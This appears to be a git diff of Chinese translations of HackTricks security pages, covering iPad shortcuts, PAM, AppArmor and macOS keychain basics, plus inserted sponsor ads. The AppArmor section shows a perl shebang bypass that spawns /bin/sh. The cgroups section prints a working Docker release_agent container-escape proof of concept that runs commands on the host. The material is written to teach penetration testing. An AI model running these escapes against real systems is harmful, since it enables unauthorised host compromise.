显示可用语言列表;要选择一种语言,请再次点击空格键。 | +| ⌘ 空格 | 显示可用语言列表;要选择一个,再次点击空格键。 | -### iPad导航 +### iPad 导航 | 快捷键 | 动作 | | -------------------------------------------------- | ------------------------------------------------------- | -| ⌘H | 转到主屏幕 | -| ⌘⇧H (Command-Shift-H) | 转到主屏幕 | +| ⌘H | 前往主屏幕 | +| ⌘⇧H (Command-Shift-H) | 前往主屏幕 | | ⌘ (Space) | 打开Spotlight | | ⌘⇥ (Command-Tab) | 列出最近使用的十个应用程序 | | ⌘\~ | 转到上一个应用程序 | | ⌘⇧3 (Command-Shift-3) | 截图(悬停在左下角以保存或对其进行操作) | -| ⌘⇧4 | 截图并在编辑器中打开它 | -| 按住⌘ | 显示应用程序可用的快捷键列表 | -| ⌘⌥D (Command-Option/Alt-D) | 弹出Dock | -| ^⌥H (Control-Option-H) | 主屏幕按钮 | +| ⌘⇧4 | 截图并在编辑器中打开 | +| 按住⌘ | 应用程序可用的快捷键列表 | +| ⌘⌥D (Command-Option/Alt-D) | 弹出底栏 | +| ^⌥H (Control-Option-H) | 主页按钮 | | ^⌥H H (Control-Option-H-H) | 显示多任务栏 | | ^⌥I (Control-Option-i) | 项目选择器 | -| Escape | 返回按钮 | +| 退出 | 返回按钮 | | → (右箭头) | 下一个项目 | | ← (左箭头) | 上一个项目 | -| ↑↓ (上箭头,下箭头) | 同时点击所选项目 | +| ↑↓ (上箭头, 下箭头) | 同时点击选定的项目 | | ⌥ ↓ (Option-下箭头) | 向下滚动 | | ⌥↑ (Option-上箭头) | 向上滚动 | -| ⌥← or ⌥→ (Option-左箭头或Option-右箭头) | 向左或向右滚动 | +| ⌥← 或 ⌥→ (Option-左箭头或Option-右箭头) | 向左或向右滚动 | | ^⌥S (Control-Option-S) | 打开或关闭VoiceOver语音 | | ⌘⇧⇥ (Command-Shift-Tab) | 切换到上一个应用程序 | | ⌘⇥ (Command-Tab) | 切换回原始应用程序 | -| ←+→, 然后Option + ← 或 Option+→ | 通过Dock导航 | - +| ←+→, 然后Option + ← 或 Option+→ | 通过底栏导航 | ### Safari快捷键 | 快捷键 | 动作 | | ----------------------- | ------------------------------------------------ | | ⌘L (Command-L) | 打开位置 | -| ⌘T | 打开新标签页 | -| ⌘W | 关闭当前标签页 | -| ⌘R | 刷新当前标签页 | -| ⌘. | 停止加载当前标签页 | -| ^⇥ | 切换到下一个标签页 | -| ^⇧⇥ (Control-Shift-Tab) | 移动到上一个标签页 | -| ⌘L | 选择文本输入/URL字段以修改它 | -| ⌘⇧T (Command-Shift-T) | 打开最后关闭的标签页(可以多次使用) | -| ⌘\[ | 在浏览历史记录中返回一页 +| ⌘T | 打开新标签 | +| ⌘W | 关闭当前标签 | +| ⌘R | 刷新当前标签 | +| ⌘. | 停止加载当前标签 | +| ^⇥ | 切换到下一个标签 | +| ^⇧⇥ (Control-Shift-Tab) | 移动到上一个标签 | +| ⌘L | 选择文本输入/URL字段以修改 | +| ⌘⇧T (Command-Shift-T) | 打开最后关闭的标签(可多次使用) | +| ⌘\[ | 在浏览历史记录中返回一页 | +| ⌘] | 在浏览历史记录中前进一页 | +| ⌘⇧R | 激活阅读器模式 | + +### 邮件快捷键 + +| 快捷键 | 动作 | +| -------------------------- | ---------------------------- | +| ⌘L | 打开位置 | +| ⌘T | 打开新标签 | +| ⌘W | 关闭当前标签 | +| ⌘R | 刷新当前标签 | +| ⌘. | 停止加载当前标签 | +| ⌘⌥F (Command-Option/Alt-F) | 在邮箱中搜索 | + +# 参考资料 + +* [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html) +* [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html) +* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/) +* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html) + + +## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**推动的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。 + +WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} + +
+ +从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) + +支持HackTricks的其他方式: + +* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) +* 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品 +* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。 +* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 + +
diff --git a/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md b/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md index 6502ed5a4..80e6c8a18 100644 --- a/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md +++ b/linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md @@ -2,20 +2,33 @@ 从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) -其他支持HackTricks的方式: +支持HackTricks的其他方式: - 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! - 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) - 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。** +- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。** - 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。 + +WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} + +--- ## 基本信息 -**PAM(可插拔认证模块)**充当安全机制,**验证试图访问计算机服务的用户的身份**,根据各种标准控制其访问。它类似于数字门卫,确保只有经过授权的用户可以与特定服务互动,同时可能限制其使用以防止系统超载。 +**PAM(可插拔认证模块)**充当一个安全机制,**验证试图访问计算机服务的用户的身份**,根据各种标准控制他们的访问。它类似于数字看门人,确保只有授权用户可以与特定服务互动,同时可能限制其使用以防止系统超载。 ### 配置文件 @@ -39,23 +52,51 @@ session required /lib/security/pam_unix_session.so 这些领域或管理组包括**auth**、**account**、**password**和**session**,每个负责认证和会话管理过程的不同方面: -- **Auth**:验证用户身份,通常通过提示输入密码来实现。 -- **Account**:处理账户验证,检查诸如组成员资格或时间限制等条件。 +- **Auth**:验证用户身份,通常通过提示输入密码。 +- **Account**:处理账户验证,检查条件如组成员资格或时间限制。 - **Password**:管理密码更新,包括复杂性检查或防止字典攻击。 -- **Session**:管理服务会话开始或结束期间的操作,例如挂载目录或设置资源限制。 +- **Session**:管理服务会话开始或结束期间的操作,如挂载目录或设置资源限制。 ### **PAM模块控制** 控制指导模块对成功或失败的响应,影响整体认证过程。这些包括: -- **Required**:必需模块失败会导致最终失败,但只有在检查所有后续模块后才会发生。 -- **Requisite**:失败会立即终止进程。 +- **Required**:必需模块失败会导致最终失败,但只在检查所有后续模块后才会发生。 +- **Requisite**:失败会立即终止过程。 - **Sufficient**:成功会绕过同一领域的其余检查,除非后续模块失败。 - **Optional**:仅在堆栈中是唯一模块时才会导致失败。 ### 示例场景 -在具有多个auth模块的设置中,流程遵循严格顺序。如果`pam_securetty`模块发现登录终端未经授权,则会阻止root登录,但由于其“required”状态,所有模块仍会被处理。`pam_env`设置环境变量,可能有助于用户体验。`pam_ldap`和`pam_unix`模块共同工作以对用户进行身份验证,其中`pam_unix`尝试使用先前提供的密码,增强了认证方法的效率和灵活性。 +在具有多个auth模块的设置中,过程遵循严格顺序。如果`pam_securetty`模块发现登录终端未经授权,则会阻止root登录,但由于其“required”状态,所有模块仍会被处理。`pam_env`设置环境变量,可能有助于用户体验。`pam_ldap`和`pam_unix`模块一起工作来认证用户,其中`pam_unix`尝试使用先前提供的密码,增强了认证方法的效率和灵活性。 ## 参考资料 * [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434) + + +## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**推动的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**损害**。 + +WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。 + +您可以在以下网站检查并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} + + +
+ +从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) + +支持HackTricks的其他方式: + +* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) +* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品 +* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**上关注**我们。 +* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 + +
diff --git a/linux-hardening/privilege-escalation/docker-security/apparmor.md b/linux-hardening/privilege-escalation/docker-security/apparmor.md index c4a1831d2..1869902d3 100644 --- a/linux-hardening/privilege-escalation/docker-security/apparmor.md +++ b/linux-hardening/privilege-escalation/docker-security/apparmor.md @@ -4,24 +4,38 @@ 从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) -支持HackTricks的其他方式: +其他支持HackTricks的方式: * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** +* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 +## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。 + +WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} + +--- + ## 基本信息 -AppArmor是一种**内核增强功能,旨在通过每个程序的配置文件限制程序可用资源**,有效地实现强制访问控制(MAC),将访问控制属性直接绑定到程序而不是用户。该系统通过**将配置文件加载到内核**来运行,通常在启动时进行,这些配置文件规定了程序可以访问的资源,如网络连接、原始套接字访问和文件权限。 +AppArmor是一个**内核增强程序,旨在通过每个程序的配置文件限制程序可用的资源**,有效地实现强制访问控制(MAC),将访问控制属性直接绑定到程序而不是用户。该系统通过**将配置文件加载到内核中**来运行,通常在启动时进行,这些配置文件规定了程序可以访问的资源,例如网络连接、原始套接字访问和文件权限。 AppArmor配置文件有两种操作模式: -- **强制模式**:该模式积极执行配置文件中定义的策略,阻止违反这些策略的操作,并通过诸如syslog或auditd等系统记录任何试图违反这些策略的行为。 -- **投诉模式**:与强制模式不同,投诉模式不会阻止违反配置文件策略的操作。相反,它会将这些尝试记录为策略违规,而不强制执行限制。 +- **强制模式**:该模式积极执行配置文件中定义的策略,阻止违反这些策略的操作,并通过诸如syslog或auditd等系统记录任何试图违反这些策略的尝试。 +- **投诉模式**:与强制模式不同,投诉模式不会阻止违反配置文件策略的操作。相反,它将这些尝试记录为策略违规,而不强制执行限制。 ### AppArmor组件 @@ -33,9 +47,9 @@ AppArmor配置文件有两种操作模式: ### 配置文件路径 AppArmor配置文件通常保存在_**/etc/apparmor.d/**_中\ -使用`sudo aa-status`命令,您将能够列出受某些配置文件限制的二进制文件。如果您可以将每个列出的二进制文件的路径中的斜杠“/”更改为一个点,您将获得所提到文件夹中AppArmor配置文件的名称。 +使用`sudo aa-status`命令,您将能够列出受某个配置文件限制的二进制文件。如果您可以将每个列出的二进制文件的路径中的斜杠“/”更改为一个点,您将获得所提到文件夹中AppArmor配置文件的名称。 -例如,_usr/bin/man_的**apparmor**配置文件将位于_/etc/apparmor.d/usr.bin.man_中。 +例如,_usr/bin/man_的**apparmor**配置文件将位于_/etc/apparmor.d/usr.bin.man_中 ### 命令 ```bash @@ -59,14 +73,14 @@ aa-mergeprof #used to merge the policies * **ix**(使用新程序继承策略执行另一个程序) * **Px**(在清理环境后在另一个配置文件下执行) * **Cx**(在清理环境后在子配置文件下执行) -* **Ux**(在清理环境后执行无限制) +* **Ux**(在清理环境后执行无限制操作) * **变量**可以在配置文件中定义,并且可以从配置文件外部进行操作。例如:@{PROC} 和 @{HOME}(在配置文件中添加 #include \) * **拒绝规则支持覆盖允许规则**。 ### aa-genprof -要轻松开始创建一个配置文件,可以使用 apparmor。可以让**apparmor检查二进制文件执行的操作,然后让您决定要允许还是拒绝哪些操作**。\ -只需运行: +为了轻松开始创建一个配置文件,apparmor 可以帮助您。可以让**apparmor 检查二进制文件执行的操作,然后让您决定要允许还是拒绝哪些操作**。\ +只需要运行: ```bash sudo aa-genprof /path/to/binary ``` @@ -74,10 +88,10 @@ sudo aa-genprof /path/to/binary ```bash /path/to/binary -a dosomething ``` -然后,在第一个控制台中按下“**s**”,然后在记录的操作中指示您想要忽略、允许或其他操作。完成后按“**f**”,新配置文件将被创建在 _/etc/apparmor.d/path.to.binary_ +然后,在第一个控制台中按下 "**s**",然后在记录的操作中指示您想要忽略、允许或其他操作。完成后按下 "**f**",新配置文件将被创建在 _/etc/apparmor.d/path.to.binary_ {% hint style="info" %} -使用箭头键可以选择您想要允许/拒绝/其他的内容 +使用箭头键,您可以选择要允许/拒绝/其他的内容 {% endhint %} ### aa-easyprof @@ -108,7 +122,7 @@ sudo aa-easyprof /path/to/binary } ``` {% hint style="info" %} -请注意,默认情况下,在创建的配置文件中,什么都不允许,因此一切都被拒绝。您需要添加类似 `/etc/passwd r,` 这样的行来允许二进制文件读取 `/etc/passwd` 。 +请注意,默认情况下,在创建的配置文件中,什么都不允许,因此一切都被拒绝。您需要添加类似 `/etc/passwd r,` 这样的行来允许例如二进制文件读取 `/etc/passwd`。 {% endhint %} 然后,您可以使用以下命令**强制执行**新配置文件: @@ -117,7 +131,7 @@ sudo apparmor_parser -a /etc/apparmor.d/path.to.binary ``` ### 从日志修改配置文件 -以下工具将读取日志,并询问用户是否允许一些检测到的禁止操作: +以下工具将读取日志,并询问用户是否要允许一些检测到的禁止操作: ```bash sudo aa-logprof ``` @@ -135,7 +149,7 @@ apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile ``` ## 日志 -来自 _/var/log/audit/audit.log_ 的 **`service_bin`** 可执行文件的 **AUDIT** 和 **DENIED** 日志示例: +来自 _/var/log/audit/audit.log_ 的 **AUDIT** 和 **DENIED** 日志示例,针对可执行文件 **`service_bin`**: ```bash type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000 type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0 @@ -183,35 +197,35 @@ docker-default - 允许访问所有**网络** - 没有定义**任何权限**(但是,一些权限将来自于包含基本基础规则,即 #include \) - **不允许**写入任何 **/proc** 文件 -- 其他 /**proc** 和 /**sys** 的**子目录**/**文件** **禁止**读取/写入/锁定/链接/执行访问 +- 其他 /**proc** 和 /**sys** 的**子目录**/**文件** **拒绝**读取/写入/锁定/链接/执行访问 - **不允许**挂载 -- **Ptrace** 只能在受 **相同 apparmor profile 限制**的进程上运行 +- **Ptrace** 只能在由**相同的 apparmor profile** 限制的进程上运行 一旦您**运行一个 docker 容器**,您应该看到以下输出: ```bash 1 processes are in enforce mode. docker-default (825) ``` -请注意,**apparmor 甚至会默认阻止容器被授予的特权权限**。例如,即使授予了 SYS\_ADMIN 权限,它也可以**阻止写入 /proc 目录的权限**,因为默认情况下 docker apparmor 配置文件拒绝了这种访问: +请注意,**apparmor 默认会阻止容器被授予的 capabilities 权限**。例如,即使授予了 SYS_ADMIN capability,它也可以**阻止在 /proc 目录内写入的权限**,因为默认情况下 docker apparmor profile 拒绝了这种访问: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash echo "" > /proc/stat sh: 1: cannot create /proc/stat: Permission denied ``` -你需要**禁用AppArmor**来绕过其限制: +您需要**禁用AppArmor**以绕过其限制: ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash ``` 请注意,默认情况下**AppArmor**也会**禁止容器从内部挂载**文件夹,即使具有SYS_ADMIN权限也是如此。 -请注意,您可以向docker容器**添加/移除****权限**(这仍将受到诸如**AppArmor**和**Seccomp**之类的保护方法的限制): +请注意,您可以向docker容器**添加/删除****权限**(这仍将受到诸如**AppArmor**和**Seccomp**之类的保护方法的限制): - `--cap-add=SYS_ADMIN` 给予`SYS_ADMIN`权限 - `--cap-add=ALL` 给予所有权限 - `--cap-drop=ALL --cap-add=SYS_PTRACE` 撤销所有权限,仅给予`SYS_PTRACE`权限 {% hint style="info" %} -通常,当您**发现**在**docker**容器**内部**有**特权权限**可用,但某些部分的**利用**无法正常工作时,这是因为docker的**AppArmor将阻止它**。 +通常,当您**发现**在**docker**容器**内**有**特权权限**可用,但某些**利用**的部分**无法正常工作**时,这是因为docker的**apparmor会阻止**它。 {% endhint %} ### 示例 @@ -238,7 +252,7 @@ chmod: /etc/hostname: Permission denied ``` ### AppArmor Docker Bypass1 -您可以使用以下命令找到运行容器的**AppArmor配置文件**: +您可以使用以下命令查找运行容器的 **AppArmor配置文件**: ```bash docker inspect 9d622d73a614 | grep lowpriv "AppArmorProfile": "lowpriv", @@ -254,7 +268,7 @@ find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null ### AppArmor Shebang Bypass -在[**这个漏洞**](https://bugs.launchpad.net/apparmor/+bug/1911431)中,你可以看到一个例子,即使你正在阻止perl使用某些资源,如果你只是创建一个shell脚本,在第一行**指定**为**`#!/usr/bin/perl`**,然后**直接执行该文件**,你将能够执行任何你想要的东西。例如: +在[**这个漏洞**](https://bugs.launchpad.net/apparmor/+bug/1911431)中,你可以看到一个例子,即使你正在阻止perl使用某些资源运行,如果你只是创建一个shell脚本,在第一行**指定**`#!/usr/bin/perl`,然后**直接执行该文件**,你就可以执行任何你想要的东西。例如: ```perl echo '#!/usr/bin/perl use POSIX qw(strftime); @@ -264,16 +278,28 @@ exec "/bin/sh"' > /tmp/test.pl chmod +x /tmp/test.pl /tmp/test.pl ``` +## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**推动的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。 + +WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} +
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert) +从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) -其他支持HackTricks的方式: +支持HackTricks的其他方式: -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 发现我们的独家[**NFTs**]收藏品,[**The PEASS Family**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** +* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 +* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
diff --git a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index 967ceb026..ff5a3f515 100644 --- a/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -1,4 +1,4 @@ -# Docker release\_agent cgroups逃逸 +# Docker release_agent cgroups escape
@@ -8,12 +8,25 @@ * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** +* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品 +* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。 + +WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} + +--- **有关更多详细信息,请参阅[原始博客文章](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)。** 这只是一个摘要: @@ -25,7 +38,7 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o ``` -这个概念验证(PoC)演示了通过创建一个`release_agent`文件并触发其调用来利用cgroups的方法,在容器主机上执行任意命令。以下是涉及的步骤详细说明: +证明概念(PoC)演示了通过创建`release_agent`文件并触发其调用以在容器主机上执行任意命令的方法。以下是涉及的步骤详细说明: 1. **准备环境:** - 创建一个目录`/tmp/cgrp`,用作cgroup的挂载点。 @@ -35,19 +48,19 @@ mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x ``` 2. **设置子Cgroup:** - 在挂载的cgroup目录中创建一个名为"x"的子cgroup。 -- 通过向其notify_on_release文件写入1来启用"x" cgroup的通知。 +- 通过向其notify_on_release文件写入1,为"x" cgroup启用通知。 ```shell echo 1 > /tmp/cgrp/x/notify_on_release ``` 3. **配置释放代理:** - 从 /etc/mtab 文件中获取容器在主机上的路径。 -- 然后配置 cgroup 的 release_agent 文件以执行位于获取的主机路径上的名为 /cmd 的脚本。 +- 然后配置 cgroup 的 release_agent 文件,以执行位于获取的主机路径上的名为 /cmd 的脚本。 ```shell host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` 4. **创建和配置/cmd脚本:** -- 在容器内创建/cmd脚本,并配置其执行ps aux命令,将输出重定向到容器中名为/output的文件中。指定主机上/output的完整路径。 +- 在容器内创建/cmd脚本,并配置为执行ps aux命令,将输出重定向到容器中名为/output的文件中。指定主机上/output的完整路径。 ```shell echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd @@ -55,20 +68,32 @@ chmod a+x /cmd ``` 5. **触发攻击:** - 在"x"子cgroup中启动一个进程,然后立即终止。 -- 这将触发`release_agent`(/cmd脚本),该脚本在主机上执行ps aux命令,并将输出写入容器中的/output。 +- 这将触发`release_agent`(即/cmd脚本),该脚本在主机上执行ps aux命令,并将输出写入容器内的/output。 ```shell sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" ``` +## WhiteIntel + +
+ +[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。 + +WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。 + +您可以访问他们的网站并免费尝试他们的引擎: + +{% embed url="https://whiteintel.io" %} +
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家) -其他支持HackTricks的方式: +支持HackTricks的其他方式: -* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! +* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com) -* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) -* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** +* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品 +* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
diff --git a/macos-hardening/macos-red-teaming/macos-keychain.md b/macos-hardening/macos-red-teaming/macos-keychain.md index bea05c66d..5cbddfab6 100644 --- a/macos-hardening/macos-red-teaming/macos-keychain.md +++ b/macos-hardening/macos-red-teaming/macos-keychain.md @@ -1,4 +1,4 @@ -# macOS钥匙串 +# macOS密钥链
@@ -14,20 +14,34 @@
-## 主要钥匙串 +## WhiteIntel -* **用户钥匙串**(`~/Library/Keychains/login.keycahin-db`),用于存储**特定于用户的凭据**,如应用程序密码、互联网密码、用户生成的证书、网络密码和用户生成的公钥/私钥。 -* **系统钥匙串**(`/Library/Keychains/System.keychain`),存储**系统范围的凭据**,如WiFi密码、系统根证书、系统私钥和系统应用程序密码。 +
